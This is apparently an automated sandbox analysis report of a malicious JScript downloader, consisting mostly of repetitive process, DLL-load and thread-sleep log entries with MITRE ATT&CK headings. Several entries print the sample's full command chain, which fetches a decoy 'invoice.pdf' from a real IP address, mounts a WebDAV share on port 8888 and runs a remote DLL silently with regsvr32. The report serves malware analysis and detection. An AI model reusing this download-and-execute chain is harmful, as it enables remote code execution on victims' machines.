Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6227.js.csv");ITextStream.WriteLine(" entry:8195 f:wmnrrcf");ITextStream.WriteLine(" exec:2 f:wmnrrcf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4905			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4035			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep count: 4905 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5588	Thread sleep count: 4035 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6396	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2140	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2860	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7256	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.2043173027.00000224D688E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}HFy
Source: net.exe, 00000007.00000002.2109819618.0000026619A9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109819618.0000026619A38000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3338156113.000001FF68E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3336984778.000001FF6382B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
